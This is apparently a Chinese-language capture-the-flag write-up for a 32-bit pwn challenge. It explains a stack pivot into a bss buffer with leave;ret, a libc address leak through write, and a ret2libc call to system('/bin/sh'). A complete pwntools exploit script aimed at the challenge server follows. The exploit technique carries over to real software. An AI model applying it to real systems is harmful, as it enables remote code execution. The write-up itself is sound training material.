1.下載文件 exeinfo checksec
?
32位 IDA32
看到關鍵函數?
read兩次 第一次read的變量s在bss段;第二次的buf到ebp距離為 24 但是第二次的read字節只能剛好填滿返回地址 傳不進去變量
所以想到棧遷移 將棧移動到變量s所在位置上來
同時 這題開了NX 無直接的binsh和system 用libc做題
先將libc的套路傳入到變量s中
同時需要空出前面的四字節使得棧遷移的指針停在這
main_addr = 0x8048513
lea_ret_addr = 0x8048511
plt_write = elf.plt['write']
got_write = elf.gor['write']payload1 = b'a' * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(got_write) + p32(4)
p.sendafter("name?", payload1)
然后構造payload2讓程序執行leave ret
因為想要將ebp移動到bss段上的變量s 所以ebp設置為s的地址
payload2 = b'a' * 0x18 + p32(bss_s_addr) + p32(lea_ret_addr)
p.sendafter("say?", payload2)
接下來就是常規的libc
exp:
from pwn import *#p = process('./spwn')
p = remote("node5.buuoj.cn", 29085)elf = ELF('./spwn')
main_addr = 0x8048513
lea_ret_addr = 0x8048511
plt_write = elf.plt['write']
got_write = elf.got['write']
bss_s_addr = 0x804A300payload1 = b'a' * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(got_write) + p32(4)
p.sendafter("name?", payload1)payload2 = b'a' * 0x18 + p32(bss_s_addr) + p32(lea_ret_addr)
p.sendafter("say?", payload2)write_addr = u32(p.recv(4))libc = ELF('./libc-2.23.so')
offset = write_addr - libc.symbols['write']
binsh = offset + libc.search('/bin/sh').__next__()
system = offset + libc.symbols['system']payload3 = b'aaaa' + p32(system) + b'aaaa' + p32(binsh)
p.sendafter("name?", payload3)p.sendafter("say?", payload2)
p.interactive()
運行 得到flag: